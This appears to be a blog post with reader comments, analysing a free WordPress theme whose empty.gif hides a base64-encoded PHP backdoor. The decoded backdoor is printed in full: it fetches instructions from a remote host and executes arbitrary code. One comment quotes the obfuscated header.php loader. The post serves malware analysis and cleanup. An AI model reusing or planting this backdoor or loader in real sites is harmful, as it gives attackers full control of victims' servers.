Сьогодні я розповім про ще один безкоштовний сир у мишоловці — безкоштовні теми для WordPress. Один мій знайомий попросив подивитися тему із сайту wordpressorg.ru, яка йому сподобалася. Я, уже навчений попереднім досвідом (російською), перевірив її на наявність таких самих закодованих шкідливих фрагментів коду й… швидко натрапив на пошкоджений empty.gif, який не відкривається в жодному редакторі.
Зазвичай empty.gif містить зображення розміром в один піксель і важить менше кілобайта. Цей же важив 5.1 КБ, або 5267 байтів, що вже досить багато для порожнього GIF. Перейменовуємо його на empty.php і відкриваємо в будь-якому текстовому редакторі:
Перші символи “GIF89a” — це типова сигнатура GIF-файлу, а певна кількість сміття за нею покликана переконати, що це справді він. Якби в моєму редакторі було ввімкнено «перенесення рядків», то, можливо, я навіть не помітив би нічого незвичного. Принаймні одразу, адже читабельний текст є лише в останніх двох рядках. Звісно, рядок “base64_decode” одразу наштовхує на думку: переходимо на www.base64decode.org і перевіряємо здогадку, намагаючись декодувати довгий рядок перед create_function, який найбільше схожий на закодований у форматі Base64:
У результаті декодування бачимо цілком осмислений PHP-код! Наводжу повний текст для тих, кому цікаво:
global $wp_gifhead;
if (@strpos(@get_cfg_var(‘error_append_string’) , ‘/denwer/errors/’)!==false) return;
error_reporting(‘^ E_ALL ^ E_NOTICE’);
ini_set(‘display_errors’, ‘0’);
error_reporting(E_ALL);
ini_set(‘display_errors’, ‘0’);
$wp_gifhead = get_option(‘gifhead’);
if (!$wp_gifhead) add_option(‘gifhead’); else $wp_gifhead = unserialize(base64_decode($wp_gifhead));
if (!isset($wp_gifhead[‘time’])) $wp_gifhead[‘time’] = 0;
if (!isset($wp_gifhead[‘scrp’])) $wp_gifhead[‘scrp’] = ”;
if (!isset($wp_gifhead[‘lnks’])) $wp_gifhead[‘lnks’] = array();
if (!isset($wp_gifhead[‘lnsb’])) $wp_gifhead[‘lnsb’] = ‘
‘; if (!isset($wp_gifhead[‘lnsa’])) $wp_gifhead[‘lnsa’] = ‘
‘.”\n”; if (!isset($wp_gifhead[‘100uip’])) $wp_gifhead[‘100uip’] = array(); if (!isset($wp_gifhead[‘100aip’])) $wp_gifhead[‘100aip’] = array(); if (!isset($wp_gifhead[‘see’])) $wp_gifhead[‘see’] = ‘ru-wp’; if (!isset($wp_gifhead[‘get_func’])) $wp_gifhead[‘get_func’] = 0; if (!isset($wp_gifhead[‘err_cnt’])) $wp_gifhead[‘err_cnt’] = 0; if (!isset($wp_gifhead[‘cache_lifetime’])) $wp_gifhead[‘cache_lifetime’] = 43200; if (time()-$wp_gifhead[‘time’]>$wp_gifhead[‘cache_lifetime’]) { $req_url = ‘http://’.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]); $_user_agent = “Mozilla/5.0 (compatible; Googlebot/2.1; “.$req_url.”)”; $see=’http://’.$wp_gifhead[‘see’].’.ru/get.php’; $data = false; if (($data == false)and(function_exists(‘file_get_contents’))and($wp_gifhead[‘get_func’]==0)) { @ini_set(‘allow_url_fopen’, 1); @ini_set(‘default_socket_timeout’, 5); @ini_set(‘user_agent’, $_user_agent); $opts = array (‘http’=>array(‘method’=>”GET”,’header’=>”Referer: {$req_url}\r\n”.”User-Agent: {$_user_agent}\r\n”)); $context = stream_context_create($opts); $data = @file_get_contents($see, false, $context); } if (($data == false)and(function_exists(‘curl_exec’))and($wp_gifhead[‘get_func’]==1)) { $ch = @curl_init($see); @curl_setopt($ch, CURLOPT_URL, $see); @curl_setopt($ch, CURLOPT_HEADER, 0); @curl_setopt($ch, CURLOPT_USERAGENT, $_user_agent); @curl_setopt($ch,CURLOPT_REFERER, $req_url); @curl_setopt($ch, CURLOPT_DNS_USE_GLOBAL_CACHE, 1); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); @curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $data = @curl_exec($ch); @curl_close($ch); } if (($data!==false)and($data!==”)) { if ($data!==”) { $data = unserialize($data); if (is_array($data)) { $wp_gifhead[‘err_cnt’]=0; foreach ($data as $key=>$value) { $wp_gifhead[$key] = $value; } } else $data=false; } } else $data=false; if ($data==false) { $wp_gifhead[‘err_cnt’]++; if ($wp_gifhead[‘err_cnt’]>10) { $wp_gifhead[‘err_cnt’]=0; $wp_gifhead[‘get_func’]++; if ($wp_gifhead[‘get_func’]>1) $wp_gifhead[‘get_func’]=0; } } $wp_gifhead[‘time’] = time(); update_option( ‘gifhead’, base64_encode(serialize($wp_gifhead)) ); } if (isset($wp_gifhead[‘scrp’])) if ($wp_gifhead[‘scrp’]!==”) { $wp_getallscripts = create_function(”, $wp_gifhead[‘scrp’]); $wp_getallscripts(); }
Судячи з коду, він очікує особливого запиту, у відповідь на який заражений сайт може виконати будь-який PHP-код за бажанням зловмисника. Фактично той після цього отримує повний контроль із можливістю завантажити туди будь-які файли, змінити або викрасти паролі до адмінпанелі, бази даних і багато іншого.
Якщо після всього цього у вас не зникло бажання використовувати таку тему — видаляємо цей empty.gif. Крім того, потрібно не забути за допомогою пошуку знайти в решті PHP-файлів фрагмент коду, який активував цей empty.gif. У мене це виявився header.php:
Видаляємо рядок, у якому знайшлося посилання на цей empty.gif, і… Ні, не радійте! Це може бути далеко не єдина закладка. Людина, яка не має добрих знань PHP, може просто не зрозуміти призначення коду в одному з файлів теми, наприклад якщо фрагмент буде вбудовано безпосередньо серед іншого коду. Але тут явно впадає в око, що цей код хотіли сховати, — це його й видало.
Як підказали в коментарях, можна ще знайти таку саму тему в інтернеті та взяти з неї header.php. Це може бути актуально, якщо ви вже витратили багато часу на зміну теми й не хотіли б починати все спочатку. У такому разі вам доведеться повторити модифікацію лише цього нового header.php.

Большое спасибо, что поделились. Но есть ли какой-нибудь плагин в WordPress, который мне помогает, решает эту проблему. Жду твоего ответа. С уважением.
Как то не по себе от прочитанного, чувствую себя не защищенным от непорядочных программистов. Самому освоить эту науку безопасности в сети уже не удастся, а надеяться на добрых людей, которые помогут, нереально. В жизни надо “грести вёслами” самому!
Спасибо за полезную информацию….!
Достаточно просто удалить сам файл empty.gif, а в header.php удалить кусочек кода, отвечающий за его инклуд. У меня это было
$gif=file(dirname(__FILE__).’/images/empty.gif’,2);$gif=$gif[5](“”,$gif[6]($gif[4]));$gif();
Менять сам файл хедера не самая лучшая идея, т.к. в вашей теме могут быть какие-то свои особенности, чего нет в других.
a7in:Конечно, всяко лучше удалить заразу точечно, но нужно хоть немного понимать что делаешь 😉
Не прочитал сразу комментарий Ивана. Так и поступил, скачал такую же тему и заменил файл header.php
Здравствуйте. А меня один сайт после удаления этого файла перестает отображаться. Как быть?
интересная статья. до вашей статьи, антивирус на сайте бил тревогу, я то еще думал что это может быть и ошибка, так как проверял сайт разными онлайн антивирусами в интернете, никакого вируса не нашел. Но ваша статья вывела меня на чистую воду, то что это точно вирус. Но не так и просто все удалить, сначала удалял файл на хостинге- сайт становился полностью черным. Закачивал его обратно, и удалял строчку в header.php- сайт становился полностью белым. когда удалил обе сразу- сайт уже стал работать с большими ошибками. Тему то не хотел поменять, потому как уже внес в ней большие изменения, и не хотелось все с начало то делать. даже нашел как очистить файл empty.gif от вредоносного кода, но тоже ничего хорошего не получилось. не знал что делать, искал в интернете информацию, но ничего не нашел. И вот пришла идея найти ту же самую тему в интернете с другого сайта. Скачал на комп, открыл картинки темы, и оказалась что в ней картинки empty и нет.Дальше посмотрел файл header.php – и там ничего об этом коде. так что скопировал весь код header, и поставил его на сайт. И вот все хорошо стала работать. а файл empty с хостинга удалил. Пока все работает отлично. Удачи всем!